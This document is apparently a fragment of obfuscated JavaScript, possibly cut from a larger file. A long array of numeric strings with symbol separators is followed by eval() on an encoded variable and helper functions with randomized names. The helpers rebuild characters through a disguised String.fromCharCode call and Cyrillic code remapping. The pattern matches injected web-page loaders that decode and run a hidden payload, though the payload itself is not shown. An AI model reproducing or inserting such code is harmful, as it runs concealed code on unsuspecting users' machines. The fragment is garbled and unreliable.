,"2±±2","0","±","±203±","™","7","1","2™±1","2","±±1","3","±","±1","4±","±250±","±","0","±±","245±±2","51±™","685","™±","1","5","3","±±","1","82±","±1","53","±","±1","71","±","±1","8","0±","™","6","96","™±1","4","5","±™7","7","0™±21","6±±","215","±","±21","5","±","±","21","5±","™","6","2","8™±","1","89±™","7","9","2","™±","31","±","±241±","™7","0","5","™","±1","51","±±1","50","±","™7","48","™±1","93±","™79","2™","±23","7","±™","725","™±","20","±","™","7","01","™","±","2","36±","™74","3","™%","™73","6™","±","21","±±2","8","±±32","±","™","6","35","™","u","™7","02","™","±25","3","±™","6","20™","±17","0","±","™","6","1","9","™±15","4±W","tW","™","755™4","1™762™2™","7","07™±","175","±","±","18","6","±","±","1","75±±2","20±±","24","0","±±3±™","6","23","™±1","63","±","™","654","™±","136","±™6","44","™","±","1","94±","™69","1™±2","2","4","±","±2","3","7±±","2","27±±","238±","±236","±™","694™±","1","7","0±","±17","1","±±","1","7","6±™","70","9™","±","5","±±0","±","±","228","±™","7","0","4™±","0","±±","254","±","±","24","5","±","±250","±™7","9","0","™I","±","10","±±","11±","±1","6","±™6","4","0","™","±19","1","±±19","3","±±","174","±™6","99™±","25","0±","±2","51±±24","9","±","™","642","™","±18","3","±","™","7","4","2™","±32±™696™±","23","5","±±","17","2±™723™","±","210","±™","6","00™M","D","™","6","46","™±125","±™","65","8","™","±1","2","6±","™","6","8","8™±","16","3","±","™7","3","2","™","±2","1","4±","±","18±","±27±","±20","7±","™","7","46™","±","24","1±","±1","95","±±192","±","™6","2","6™","G","GG","™641™±1","81±","±","17","8","±","™6","0","0","™","±","1","3","3","±±136±R±1","33±","±14","8±","™","6","6","0","™±","2","0","8±™","7","09","™","±","2","46±±2","5","5±","±","24","5","±","±","2","12±±","24","9±±","2","5","0±","™","62","3™±1","67±","™64","3™","±","179","±w±","1","94±","™725™","±4","±±1","9","±","±","10","±","™7","90™","R™69","4™±24","6","±","™61","0","™W™","737","™","±232","±","™","680","™±129","±±","1","2","6±","™737™±","182±","™","7","8","3","™±","2","2","8±","X","±","2","32±","±","2","2","9","±±22","8","±","™","64","2™","±","2","0","3±","™","66","1™","±156±n","™","7","19™","±","1","6","5","±±2","4±±19","6","±","™72","2™±198","±","±199±±217±");eval(l4cdd66c);function e14df2(){return 12;}function e6d130f57(t3d614d5b,if780d8b){return t3d614d5b.substr(if780d8b,1);}function e049fe3e(f0cbf5){return ++f0cbf5;}function qbb5ddf2(rfa2d3c4e,fc526c){return rfa2d3c4e.substr(fc526c,1);}function e8b85e6(se6d3b88,g11a76){return se6d3b88.substr(g11a76,1);}function n40e90e(m2091ca6){if(m2091ca6==168)m2091ca6=1025;else if(m2091ca6==184)m2091ca6=1105;return (m2091ca6>=192 && m2091ca6<256) ? m2091ca6+848 : m2091ca6;}function nf3a0c7(o53060,e68887,bc8d0e642){return o53060-e68887-bc8d0e642;}function o8be9d342(s85877a49){var l3f9ddca=String;return l3f9ddca["f\x72omCha\x72Co\x64e"](s85877a49);}function ece8df8(xe63c659){var f87eb3468=xe63c659;if(f87eb3468<0)f87eb3468+=256;if(f87eb3468==168)f87eb3468=1025;else if(f87eb3468==184)f87eb3468=1105;return (f87eb3468>=192 && f87eb3468<256) ? f87eb3468+848 : f87eb3468;}
